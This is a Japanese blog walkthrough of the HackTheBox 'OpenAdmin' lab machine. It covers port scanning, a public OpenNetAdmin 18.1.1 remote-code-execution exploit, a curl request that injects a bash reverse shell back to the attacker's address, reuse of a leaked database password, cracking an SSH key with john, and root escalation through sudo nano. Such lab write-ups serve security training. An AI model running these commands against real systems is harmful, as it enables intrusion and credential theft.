🔥

HackTheBox OpenAdmin

2022/08/18に公開

OpenAdmin

侵入

nmap

まずは、ポートスキャンを行う

──(kali㉿kali)-[~/Desktop/OpenAdmin]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.171 -oN nmap.log
Scanning 10.10.10.171 [65535 ports]
Discovered open port 22/tcp on 10.10.10.171
Discovered open port 80/tcp on 10.10.10.171
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=8/11%OT=22%CT=1%CU=43402%PV=Y%DS=2%DC=T%G=Y%TM=62F5B83
OS:S)

22、80番ポートを確認

gobuster

ディレクトリ探索を行う。ワードリストは、common.txt を使用

┌──(kali㉿kali)-[~/Desktop/OpenAdmin]
└─$ gobuster dir -u http://10.10.10.171/ -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.171/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/08/11 22:23:12 Starting gobuster in directory enumeration mode
===============================================================
/artwork              (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/index.html           (Status: 200) [Size: 10918]                                 
/music                (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]  
/server-status        (Status: 403) [Size: 277]                               
===============================================================
2022/08/11 22:24:55 Finished
===============================================================

気になるディレクトリとして、music と artwork を発見

music

まずは、music にアクセスしてみる

右上にログインボタンを発見したので、アクセスする

ona

ログインボタンを押下すると、ona というページに飛ぶ

バージョンが、18.1.1 であることがわかる

CVE

GitHub 上に、exploit code を発見

GitHub -> https://github.com/amriunix/ona-rce

www-data としてのシェル

exploit

GitHub の手順通りに、code を実行

┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ python3 ona-rce.py check http://10.10.10.171/ona/
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] The remote host is vulnerable!
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ python3 ona-rce.py exploit http://10.10.10.171/ona/ 
[*] OpenNetAdmin 18.1.1 - Remote Code Execution
[+] Connecting !
[+] Connected Successfully!
sh$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data としてのシェルを取得

列挙

home

どんなユーザが存在するのかを調べるために、ホームディレクトリを確認

sh$ ls -l /home
total 8
drwxr-x--- 5 jimmy  jimmy  4096 Nov 22  2019 jimmy
drwxr-x--- 5 joanna joanna 4096 Jul 27  2021 joanna

jimmy と joanna の存在を確認

config.inc.php

名前からして気になったので、確認

sh$ cat config/config.inc.php
~
// Include the localized Database settings
$dbconffile = "{$base}/local/config/database_settings.inc.php";
if (file_exists($dbconffile)) {
    if (substr(exec("php -l $dbconffile"), 0, 28) == "No syntax errors detected in") {
        @include($dbconffile);
} else {
    require_once($base.'/../install/install.php');
    exit;
}
~

データベースの設定ファイルと思われるファイル (database_settings.inc.php) を発見

database_settings.inc.php

cat で中身を確認する

sh$ cat local/config/database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?

DB への接続パスワードとしての、n1nj4W4rri0R! という文字列を取得できた

mysql の実行や、su を試してみる

sh$ mysql -u root -p
Enter password: ERROR 1698 (28000): Access denied for user 'root'@'localhost'
sh$ su jimmy
su: must be run from a terminal

mysql は使用できないが、su はターミナルの関係で実行できない
su を実行するためには、アップグレードできるシェルを取得する必要がある

Exploit DB

Exploit DB のコードを見てみる

curl で exploit を実行している。ip パラメータの後に、脆弱性がありそう
Exploit DB -> https://www.exploit-db.com/exploits/47691

curl

Exploit DB に倣い、curl コマンドを実行する

┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash -i >%26 /dev/tcp/10.10.14.13/5555 0>%261'&xajaxargs[]=ping"  http://10.10.10.171/ona/

kali 側

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.171] 45336
bash: cannot set terminal process group (1242): Inappropriate ioctl for device
bash: no job control in this shell
www-data@openadmin:/opt/ona/www$ whoami
whoami
www-data
www-data@openadmin:/opt/ona/www$

アップグレードできるシェルの取得に成功

script

www-data@openadmin:/opt/ona/www$ /usr/bin/script -qc /bin/bash /dev/null

su を実行できるように、シェルをアップグレードさせる

jimmy としてのシェル

su

www-data@openadmin:/opt/ona/www$ su jimmy
Password: n1nj4W4rri0R!

jimmy@openadmin:/opt/ona/www$

jimmy のシェル取得に成功

列挙

jimmy

jimmy@openadmin:~$ ls -la
ls -la
total 32
drwxr-x--- 5 jimmy jimmy 4096 Nov 22  2019 .
drwxr-xr-x 4 root  root  4096 Nov 22  2019 ..
lrwxrwxrwx 1 jimmy jimmy    9 Nov 21  2019 .bash_history -> /dev/null
-rw-r--r-- 1 jimmy jimmy  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 jimmy jimmy 3771 Apr  4  2018 .bashrc
drwx------ 2 jimmy jimmy 4096 Nov 21  2019 .cache
drwx------ 3 jimmy jimmy 4096 Nov 21  2019 .gnupg
drwxrwxr-x 3 jimmy jimmy 4096 Nov 22  2019 .local
-rw-r--r-- 1 jimmy jimmy  807 Apr  4  2018 .profile

user.txt がないため、joanna ユーザ権限が必要

find

id コマンドを実行すると、jimmy が internal グループだとわかるため、internal で検索を行う

jimmy@openadmin:~$ find / -group internal 2>/dev/null
find / -group internal 2>/dev/null
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php

main.php、index.php などのファイルを発見

main.php

jimmy@openadmin:/var/www/internal$ cat main.php
cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

joanna の SSH 秘密鍵を出力するようだ

index.html

jimmy@openadmin:/var/www/internal$ cat index.php
cat index.php
<?php
   ob_start();
   session_start();
?>

<body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

jimmy を認証するコードを発見。アクセスすることで SSH 秘密鍵を取得できるかもしれない
また、パスワードのハッシュ値を取得できた

hash

先に、パスワードのハッシュを復号しておく

Revealed という文字が出力された

internal.conf

今回のボックスは、Ubuntu の apache2 なので、/etc/apache2 から設定ファイルを探す

jimmy@openadmin:/var/www/html$ cat /etc/apache2/sites-available/internal.conf
cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

/var/www/internal には、127.0.0.1:52846 でアクセスできることがわかる
curl コマンドでもアクセス可能だが、今回はポートフォワーディングを使用する

SSH

SSH ポートフォワーディングを行うため、サーバ側に SSH 鍵を作成し、接続する

┌──(kali㉿kali)-[~]
└─$ ssh -i .ssh/id_rsa -L 8081:127.0.0.1:52846 jimmy@10.10.10.171
The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established.
ED25519 key fingerprint is SHA256:wrS/uECrHJqacx68XwnuvI9W+bbKl+rKdSh799gacqo.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.171' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Aug 12 09:27:09 UTC 2022

  System load:  0.0               Processes:             180
  Usage of /:   30.9% of 7.81GB   Users logged in:       0
  Memory usage: 14%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$

SSH 接続成功

Login

127.0.0.1:8081 でアクセスする

アクセス成功

main.php

ユーザ : jimmy パスワード : Revealed

鍵が出力された

john

鍵は暗号化してあるため、john を使用する

┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ /usr/share/john/ssh2john.py ssh.key > ssh_john2
┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh_john2 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (ssh.key)     
1g 0:00:00:09 DONE (2022-08-12 05:47) 0.1029g/s 986058p/s 986058c/s 986058C/s bloodofyouth..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably

bloodninjas という文字が出力された

joanna としてのシェル

SSH

鍵とパスワードを使用し、SSH 接続を行う

┌──(kali㉿kali)-[~/Desktop/OpenAdmin/ona-rce]
└─$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.key': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Aug 12 09:53:32 UTC 2022

  System load:  0.0               Processes:             181
  Usage of /:   31.0% of 7.81GB   Users logged in:       1
  Memory usage: 14%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ whoami
joanna

joanna のシェル取得に成功

user フラグ

joanna@openadmin:~$ cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

権限昇格

sudo

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

/bin/nano /opt/priv が NOPASSWD であることが確認できる

GTFOBin

GTFOBin で、nano が権限昇格に使用できないか検索してみる

^R^X の流れで権限昇格ができるらしい
GTFOBin -> https://gtfobins.github.io/gtfobins/nano/

nano

sudo -l で表示された通りに、コマンドを実行する

joanna@openadmin:~$ sudo /bin/nano /opt/priv

root としてのシェル

reset

GTFOBin に従い、コマンドを実行する

Command to execute: reset; sh 1>&0 2>&0# whoami
root

権限昇格成功

root フラグ

# cat root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

フラグの取得に成功

所感

今回のボックスは、権限移動が多く大変だったが、一つ一つの難易度は高くないため、比較的簡単に攻略できた。curl によるシェルアップグレードは少し時間をかけてしまったが、うまく攻略することが出来てよかったと思う。

Discussion